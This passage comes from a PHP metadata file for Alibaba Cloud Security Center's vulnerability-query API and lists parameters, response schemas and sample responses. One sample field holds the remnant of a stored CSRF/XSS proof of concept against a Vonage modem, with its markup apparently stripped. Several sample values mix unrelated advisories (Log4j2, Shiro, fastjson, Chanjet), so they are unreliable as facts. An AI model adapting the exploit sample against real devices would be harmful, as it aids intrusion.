security update\\n 0\\n 0\\n 59\\n 需要重启\\n ***glibc 安全和BUG修复更新\\n","errorExample":""}]', + 'title' => '分组查询漏洞信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeAutoDelConfig' => [ + 'summary' => '查询自动删除漏洞前的漏洞的保存天数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Days' => [ + 'description' => '在自动删除漏洞前云安全中心保存漏洞的天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C56F66FD-C4EE-4813-ABDC-4FF94B6C384E', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Days\\": 30,\\n \\"RequestId\\": \\"C56F66FD-C4EE-4813-ABDC-4FF94B6C384E\\"\\n}","errorExample":""},{"type":"xml","example":"\\n C56F66FD-C4EE-4813-ABDC-4FF94B6C384E\\n 30\\n","errorExample":""}]', + 'title' => '查询漏洞自动删除的配置信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeConcernNecessity' => [ + 'summary' => '查询关注的漏洞修复必要性信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ECC6B3E3-D496-512D-B46D-E6996A6B63EE', + ], + 'ConcernNecessity' => [ + 'description' => '漏洞修复必要性列表。'."\n" + ."\n" + .'- asap：高'."\n" + ."\n" + .'- later：中'."\n" + ."\n" + .'- nntf：低', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞修复必要性列表。'."\n" + ."\n" + .'- asap：高'."\n" + ."\n" + .'- later：中'."\n" + ."\n" + .'- nntf：低', + 'type' => 'string', + 'example' => 'asap', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ECC6B3E3-D496-512D-B46D-E6996A6B63EE\\",\\n \\"ConcernNecessity\\": [\\n \\"asap\\"\\n ]\\n}","type":"json"}]', + 'title' => '查询关注的漏洞修复必要性信息', + ], + 'DescribeVulDetails' => [ + 'summary' => '查询漏洞详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92245', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => true, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **app**：应用漏洞'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **sca**：软件成分分析漏洞', + 'type' => 'string', + 'required' => true, + 'example' => 'sca', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞名称。'."\n" + .'> 您可以调用[DescribeGroupedVul](~~DescribeGroupedVul~~)或[DescribeVulList](~~DescribeVulList~~)获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'SCA:ACSV-2020-052801', + ], + ], + [ + 'name' => 'AliasName', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞公告。', + 'type' => 'string', + 'required' => false, + 'docRequired' => false, + 'example' => 'RHSA-2019:3197-Important: sudo security update', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'EDA40EA3-6265-5900-AD99-C83E4F109CA8', + ], + 'Cves' => [ + 'description' => '漏洞详情列表。'."\n" + ."\n", + 'type' => 'array', + 'items' => [ + 'description' => '漏洞详情。', + 'type' => 'object', + 'properties' => [ + 'Summary' => [ + 'description' => '漏洞的简介。', + 'type' => 'string', + 'example' => 'Chanjet T-Plus is an Internet business management software. There is an unauthorized access vulnerability in one of its interfaces disclosed on the Internet. Attackers can construct malicious requests to upload malicious files to execute arbitrary code and control the server.', + ], + 'Complexity' => [ + 'description' => '漏洞被利用的难度。取值：'."\n" + ."\n" + .'- **LOW**：低'."\n" + .'- **MEDIUM**：中'."\n" + .'- **HIGH**：高'."\n" + ."\n", + 'type' => 'string', + 'deprecated' => true, + 'example' => 'LOW', + ], + 'Product' => [ + 'description' => '受漏洞影响的产品。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'Log4j2', + ], + 'PocCreateTime' => [ + 'description' => 'POC创建的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'deprecated' => true, + 'example' => '1554189334000', + ], + 'CveId' => [ + 'description' => 'CVE编号。', + 'type' => 'string', + 'example' => 'CVE-2019-9167', + ], + 'CnvdId' => [ + 'description' => 'CNVD（中国国家漏洞数据库）编号。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'CNVD-2019-9167', + ], + 'Reference' => [ + 'description' => '该漏洞在阿里云漏洞库中的参考链接。', + 'type' => 'string', + 'example' => 'https://example.com', + ], + 'CvssScore' => [ + 'description' => '该漏洞在阿里云漏洞库中的CVSS评分。', + 'type' => 'string', + 'example' => '10.0', + ], + 'Vendor' => [ + 'description' => '漏洞发布的厂商。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'Apache', + ], + 'PocDisclosureTime' => [ + 'description' => 'POC暴露的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'deprecated' => true, + 'example' => '1554189334000', + ], + 'Classify' => [ + 'description' => '漏洞的分类。', + 'type' => 'string', + 'example' => 'remote_code_execution', + ], + 'CvssVector' => [ + 'description' => 'CVSS评分向量。', + 'type' => 'string', + 'example' => 'AV:N/AC:L/Au:N/C:C/I:C/A:C', + ], + 'VulLevel' => [ + 'description' => '漏洞的严重等级。取值：'."\n" + ."\n" + .'- **serious**：严重'."\n" + .'- **high**：高'."\n" + .'- **medium**：中'."\n" + .'- **low**：低'."\n", + 'type' => 'string', + 'example' => 'serious', + ], + 'ReleaseTime' => [ + 'description' => '该漏洞在阿里云漏洞库中展示的漏洞披露时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1554189334000', + ], + 'Title' => [ + 'description' => '漏洞公告的标题。', + 'type' => 'string', + 'example' => 'Chanjet T-Plus SetupAccount/Upload. Aspx file upload vulnerability(CNVD-2022-60632)', + ], + 'Solution' => [ + 'description' => '漏洞的修复建议。', + 'type' => 'string', + 'example' => '

At present, Chanjet has urgently released a vulnerability patch to fix the vulnerability. CNVD recommends affected units and users to upgrade to the latest version immediately:

↵

https://www.chanjetvip.com/product/goods/goods-detail?id=53aaa40295d458e44f5d3ce5

↵

At the same time, organizations and users affected by the vulnerability are requested to immediately follow the steps below to conduct self-inspection and repair work:

↵
    ↵

  1. User self-check steps:↵
    Check whether website/bin/load.aspx.cdcab7d2.compiled, website/bin/App_Web_load.aspx.cdcab7d2.dll, and tplus/Load.aspx files exist locally. If they exist, it means that they have been poisoned, and you must reinstall the system and install the product. patch.

    ↵
    2. ↵

  2. Non-poisoned users please:↵
    1) Update the latest product patch.↵
    2) Install anti-virus software and update the virus database in time.↵
    3) Upgrade the lower version of IIS and Nginx to IIS10.0 and Windows 2016.↵
    4) Local installation customers need to confirm whether the backup file is complete as soon as possible, and do off-site backup. Customers on the cloud should enable the mirroring function in time.↵
    5) Users who fail to update the patch in time can contact Chanjet technical support and take temporary preventive measures such as deleting files.

    ↵
    3. ↵

  3. Poisoned users please:↵
    1) Check whether the server has taken regular snapshots or backups. If so, you can restore data through snapshots or backups.↵
    2) Contact Chanjet technical support to confirm whether it has the conditions and operation methods to restore data from backup files.

    ↵
    4. ↵
↵

If you have any technical problems, please contact Chanjet technical support: 4006600566-9

', + ], + 'Content' => [ + 'description' => 'CVE的内容。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'Apache Shiro is a user authentication and authorization framework for a wide range of rights management applications.↵Recently, Apache Shiro released version 1.7.0, which fixes the Apache Shiro authentication bypass vulnerability (CVE-2020-17510).↵Attackers can bypass Shiro\'s authentication using malicious requests containing payloads.↵↵Related bugs:↵CVE-2020-17510 Shiro < 1.7.0 Validation Bypass Vulnerability↵CVE-2020-13933 Shiro < 1.6.0 Validation Bypass Vulnerability↵CVE-2020-11989 Shiro < 1.5.3 Validation Bypass Vulnerability↵CVE-2020-1957 Shiro < 1.5.2 Validation Bypass Vulnerability↵CVE-2016-6802 Shiro < 1.3.2 Validation Bypass Vulnerability'."\n" + .'Check whether the fastjson version currently running on the system is in the affected version and whether safeMode is configured to disable autoType. If it is in the affected version and safeMode is not configured to disable autoType, the vulnerability is considered to exist.', + ], + 'Poc' => [ + 'description' => 'POC的内容。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'NewDomain.html'."\n" + .'The x and y values will need to be changed accordingly'."\n" + .''."\n" + .'

Authenticated Stored CSRF/XSS - Vonage Modem

'."\n" + .'
'."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .'
'."\n" + .''."\n" + .' '."\n" + .'NewKeyword.html'."\n" + .'The x and y values will need to be changed accordingly'."\n" + .''."\n" + .'

Authenticated Stored CSRF/XSS - Vonage Modem

'."\n" + .'
'."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .''."\n" + .'
'."\n" + .'', + ], + 'Classifys' => [ + 'description' => '漏洞分类列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞分类详情。', + 'type' => 'object', + 'properties' => [ + 'Description' => [ + 'description' => '漏洞的分类说明。', + 'type' => 'string', + 'example' => 'privilege escalation', + ], + 'Classify' => [ + 'description' => '漏洞的分类。', + 'type' => 'string', + 'example' => 'remote_code_execution', + ], + 'DemoVideoUrl' => [ + 'description' => '漏洞的演示视频地址。', + 'type' => 'string', + 'example' => 'https://example.com', + ], + ], + ], + ], + 'OtherId' => [ + 'description' => '漏洞编号。', + 'type' => 'string', + 'example' => 'CVE-2020-8597', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。'."\n" + .'> 该字段弃用。查询漏洞影响实例请调用[DescribeVulList ](~~DescribeVulList~~)。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'sql-test-001', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。'."\n" + .'> 该字段弃用。查询漏洞影响实例请调用[DescribeVulList ](~~DescribeVulList~~)。', + 'type' => 'string', + 'deprecated' => true, + 'example' => '47.114.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。'."\n" + .'> 该字段弃用。查询漏洞影响实例请调用[DescribeVulList ](~~DescribeVulList~~)。', + 'type' => 'string', + 'deprecated' => true, + 'example' => '172.19.XX.XX', + ], + 'TargetId' => [ + 'description' => '扫描对象ID。'."\n" + .'> 该字段弃用。查询漏洞影响实例请调用[DescribeVulList ](~~DescribeVulList~~)。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'm-bp17m0pc0xprzbwo****', + ], + 'TargetName' => [ + 'description' => '扫描对象名称。'."\n" + .'> 该字段弃用。查询漏洞影响实例请调用[DescribeVulList ](~~DescribeVulList~~)。', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'frontend', + ], + 'CveLink' => [ + 'description' => 'CVE漏洞详情链接。', + 'type' => 'string', + 'example' => 'https://avd.aliyun.com/detail/CVE-2022-1184', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InnerError', + 'errorMessage' => 'InnerError', + ], + [ + 'errorCode' => 'DataExists', + 'errorMessage' => '%s data exist', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + [ + 'errorCode' => 'MissingType', + 'errorMessage' => 'Type is mandatory for this action.', + ], + [ + 'errorCode' => 'MissingName', + 'errorMessage' => 'Name is mandatory for this action.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"EDA40EA3-6265-5900-AD99-C83E4F109CA8\\",\\n \\"Cves\\": [\\n {\\n \\"Summary\\": \\"Chanjet T-Plus is an Internet business management software. There is an unauthorized access vulnerability in one of its interfaces disclosed on the Internet. Attackers can construct malicious requests to upload malicious files to execute arbitrary code and control the server.\\",\\n \\"Complexity\\": \\"LOW\\",\\n \\"Product\\": \\"Log4j2\\",\\n \\"PocCreateTime\\": 1554189334000,\\n \\"CveId\\": \\"CVE-2019-9167\\",\\n \\"CnvdId\\": \\"CNVD-2019-9167\\",\\n \\"Reference\\": \\"https://example.com\\",\\n \\"CvssScore\\": \\"10.0\\",\\n \\"Vendor\\": \\"Apache\\",\\n \\"PocDisclosureTime\\": 1554189334000,\\n \\"Classify\\": \\"remote_code_execution\\",\\n \\"CvssVector\\": \\"AV:N/AC:L/Au:N/C:C/I:C/A:C\\",\\n \\"VulLevel\\": \\"serious\\",\\n \\"ReleaseTime\\": 1554189334000,\\n \\"Title\\": \\"Chanjet T-Plus SetupAccount/Upload. Aspx file upload vulnerability(CNVD-2022-60632)\\",\\n \\"Solution\\": \\"

At present, Chanjet has urgently released a vulnerability patch to fix the vulnerability. CNVD recommends affected units and users to upgrade to the latest version immediately:

↵

https://www.chanjetvip.com/product/goods/goods-detail?id=53aaa40295d458e44f5d3ce5

↵

At the same time, organizations and users affected by the vulnerability are requested to immediately follow the steps below to conduct self-inspection and repair work:

↵
    ↵

  1. User self-check steps:↵
    Check whether website/bin/load.aspx.cdcab7d2.compiled, website/bin/App_Web_load.aspx.cdcab7d2.dll, and tplus/Load.aspx files exist locally. If they exist, it means that they have been poisoned, and you must reinstall the system and install the product. patch.

    ↵
    2. ↵

  2. Non-poisoned users please:↵
    1) Update the latest product patch.↵
    2) Install anti-virus software and update the virus database in time.↵
    3) Upgrade the lower version of IIS and Nginx to IIS10.0 and Windows 2016.↵
    4) Local installation customers need to confirm whether the backup file is complete as soon as possible, and do off-site backup. Customers on the cloud should enable the mirroring function in time.↵
    5) Users who fail to update the patch in time can contact Chanjet technical support and take temporary preventive measures such as deleting files.

    ↵
    3. ↵

  3. Poisoned users please:↵
    1) Check whether the server has taken regular snapshots or backups. If so, you can restore data through snapshots or backups.↵
    2) Contact Chanjet technical support to confirm whether it has the conditions and operation methods to restore data from backup files.

    ↵
    4. ↵
↵

If you have any technical problems, please contact Chanjet technical support: 4006600566-9

\\",\\n \\"Content\\": \\"Apache Shiro is a user authentication and authorization framework for a wide range of rights management applications.↵Recently, Apache Shiro released version 1.7.0, which fixes the Apache Shiro authentication bypass vulnerability (CVE-2020-17510).↵Attackers can bypass Shiro\'s authentication using malicious requests containing payloads.↵↵Related bugs:↵CVE-2020-17510 Shiro < 1.7.0 Validation Bypass Vulnerability↵CVE-2020-13933 Shiro < 1.6.0 Validation Bypass Vulnerability↵CVE-2020-11989 Shiro < 1.5.3 Validation Bypass Vulnerability↵CVE-2020-1957 Shiro < 1.5.2 Validation Bypass Vulnerability↵CVE-2016-6802 Shiro < 1.3.2 Validation Bypass Vulnerability\\\\nCheck whether the fastjson version currently running on the system is in the affected version and whether safeMode is configured to disable autoType. If it is in the affected version and safeMode is not configured to disable autoType, the vulnerability is considered to exist.\\",\\n \\"Poc\\": \\"NewDomain.html\\\\nThe x and y values will need to be changed accordingly\\\\n\\\\n

Authenticated Stored CSRF/XSS - Vonage Modem

\\\\n
\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\\\" />\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n
\\\\n\\\\n \\\\nNewKeyword.html\\\\nThe x and y values will need to be changed accordingly\\\\n\\\\n

Authenticated Stored CSRF/XSS - Vonage Modem

\\\\n
\\\\n\\\\n\\\\n\\\\n\\\\n\\\\\\" / >\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n\\\\n
\\\\n\\",\\n \\"Classifys\\": [\\n {\\n \\"Description\\": \\"privilege escalation\\",\\n \\"Classify\\": \\"remote_code_execution\\",\\n \\"DemoVideoUrl\\": \\"https://example.com\\"\\n }\\n ],\\n \\"OtherId\\": \\"CVE-2020-8597\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"InternetIp\\": \\"47.114.XX.XX\\",\\n \\"IntranetIp\\": \\"172.19.XX.XX\\",\\n \\"TargetId\\": \\"m-bp17m0pc0xprzbwo****\\",\\n \\"TargetName\\": \\"frontend\\",\\n \\"CveLink\\": \\"https://avd.aliyun.com/detail/CVE-2022-1184\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 200\\n \\n \\n 无\\n 10.0\\n impact:remote_code_execution\\n https://help.aliyun.com/noticelist/articleid/1060971232.html\\n \\n http://cloud.video.taobao.com//play/u/2246983437/p/1/e/6/t/1/50084922304.mp4\\n 远程代码执行\\n impact:remote_code_execution\\n \\n Apache Log4j2 远程代码执行漏洞（CVE-2021-44228）\\n CVE-2021-44228\\n AVD-2021-920285\\n 1638979200000\\n 安骑士检测方法：\\n\\n检查当前系统运行中的log4j-core版本是否在受影响版本内且jar包内JndiLookup.class文件是否被删除，若在影响版本内且JndiLookup.class文件存在就认为存在该漏洞。\\n\\n受影响应用版本：Apache Log4j 2.0 < 2.3.1，2.4<2.12.2， 2.13.0< 2.16.0\\n Apache Log4j2是一款优秀的Java日志框架。2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。\\n\\n2021年12月10日，阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过\\n2021年12月15日，Apache 官方发布Log4j 2.16.0 以及 2.12.2 版本，修复 CVE-2021-45046 Apache Log4j 拒绝服务漏洞\\n2021年12月17日，Apache 官方将 CVE-2021-45046 漏洞 CVSS 评分从 3.7 分上调到 9.0 分\\n\\n阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。\\n <p>1、排查应用是否引入了Apache log4j-core Jar包，若存在依赖引入，且在受影响版本范围内，则可能存在漏洞影响。同时为了避免在Apache Log4j 2.15.0版本中某些自定义配置而可能导致的JNDI注入或拒绝服务攻击，请尽快升级Apache Log4j2所有相关应用到 2.16.0 或者 2.12.2 及其以上版本，地址 https://logging.apache.org/log4j/2.x/download.html 。</p>\\n<p>2、对于 Java 8 及其以上用户，建议升级 Apache Log4j2 至 2.16.0 及以上版本。</p>\\n<p>3、对于 Java 7 用户，建议升级至 Apache Log4j 2.12.2 及以上版本，该版本为安全版本，用于解决兼容性问题。</p>\\n<p>4、对于其余暂时无法升级版本的用户，建议删除JndiLookup，可用以下命令 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class</p>\\n<p>5、升级已知受影响的应用及组件，如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink</p>\\n<p>6、其余临时缓解方案可参见 https://logging.apache.org/log4j/2.x/security.html 。目前已有安全版本，强烈建议不要采用临时缓解方案进行防御。</p>\\n\\n serious\\n \\n \\n EDA40EA3-6265-5900-AD99-C83E4F109CA8\\n true\\n","errorExample":""}]', + 'title' => '查询漏洞详情', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeVulWhitelist' => [ + 'summary' => '分页查询漏洞白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，分页页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示数据条数。默认值为10。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '结果的请求ID。', + 'type' => 'string', + 'example' => '74F97EF7-B543-43FD-A4E9-18456731F9C5', + ], + 'PageSize' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '数据总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Count' => [ + 'description' => '分页查询时，显示的当前页的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'VulWhitelists' => [ + 'description' => '白名单漏洞信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '漏洞类型。', + 'type' => 'string', + 'example' => 'cve', + ], + 'TargetInfo' => [ + 'description' => '规则使用范围。该值为JSON字符串，包含以下字段：'."\n" + ."\n" + .'- **type**：适用类型。取值：'."\n" + ."\n" + .' - **Uuid**：主机'."\n" + .' - **GroupId**：群组'."\n" + ."\n" + .'- **groupIds**：适用资产群组编号'."\n" + .'- **uuids**：适用资产UUID'."\n" + ."\n" + .'> 该值为空则适用全部资产。', + 'type' => 'string', + 'example' => '{"type":"GroupId","groupIds":[916****],"uuids":[]}', + ], + 'AliasName' => [ + 'description' => '漏洞别名。', + 'type' => 'string', + 'example' => 'RHSA-2017:3263: curl security update', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'oval:com.redhat.rhsa:def:20173263', + ], + 'Reason' => [ + 'description' => '加白原因。', + 'type' => 'string', + 'example' => 'ignore', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'string', + 'example' => '1275', + ], + 'Whitelist' => [ + 'description' => '漏洞信息。该值为JSON格式。'."\n" + ."\n" + .'- **name**：漏洞名称。'."\n" + .'- **type**：漏洞类型。'."\n" + .'- **aliasName**：漏洞别名。', + 'type' => 'string', + 'example' => '[{'."\n" + .'"name":"oval:com.redhat.rhsa:def:20173263",'."\n" + .'"type":"cve",'."\n" + .'"aliasName":"RHSA-2017:3263: curl security update"'."\n" + .'}]', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"74F97EF7-B543-43FD-A4E9-18456731F9C5\\",\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 2,\\n \\"VulWhitelists\\": [\\n {\\n \\"Type\\": \\"cve\\",\\n \\"TargetInfo\\": \\"{\\\\\\"type\\\\\\":\\\\\\"GroupId\\\\\\",\\\\\\"groupIds\\\\\\":[916****],\\\\\\"uuids\\\\\\":[]}\\",\\n \\"AliasName\\": \\"RHSA-2017:3263: curl security update\\",\\n \\"Name\\": \\"oval:com.redhat.rhsa:def:20173263\\",\\n \\"Reason\\": \\"ignore\\",\\n \\"Id\\": \\"1275\\",\\n \\"Whitelist\\": \\"[{\\\\n\\\\\\"name\\\\\\":\\\\\\"oval:com.redhat.rhsa:def:20173263\\\\\\",\\\\n\\\\\\"type\\\\\\":\\\\\\"cve\\\\\\",\\\\n\\\\\\"aliasName\\\\\\":\\\\\\"RHSA-2017:3263: curl security update\\\\\\"\\\\n}]\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n\\n1\\n\\n oval:com.redhat.rhsa:def:20173263\\n RHSA-2017:3263: curl security update\\n cve\\n 暂不修复\\n\\n3\\n74F97EF7-B543-43FD-A4E9-18456731F9C5\\n1\\n","errorExample":""}]', + 'title' => '分页查询漏洞白名单', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ExportVul' => [ + 'summary' => '导出漏洞列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '103350', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- zh：中文'."\n" + .'- en：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要导出的漏洞列表的漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **app**：应用漏洞'."\n" + .'- **emg**：应急漏洞', + 'type' => 'string', + 'required' => true, + 'example' => 'app', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞的服务器的UUID，多个UUID使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => '1587bedb-fdb4-48c4-9330-****', + ], + ], + [ + 'name' => 'AliasName', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'RHSA-2019:3197-Important: sudo security update', + ], + ], + [ + 'name' => 'Necessity', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞修复优先级。多个优先级使用半角逗号（,）分隔。取值包括：'."\n" + ."\n" + .'- **asap**：高'."\n" + .'- **later**：中'."\n" + .'- 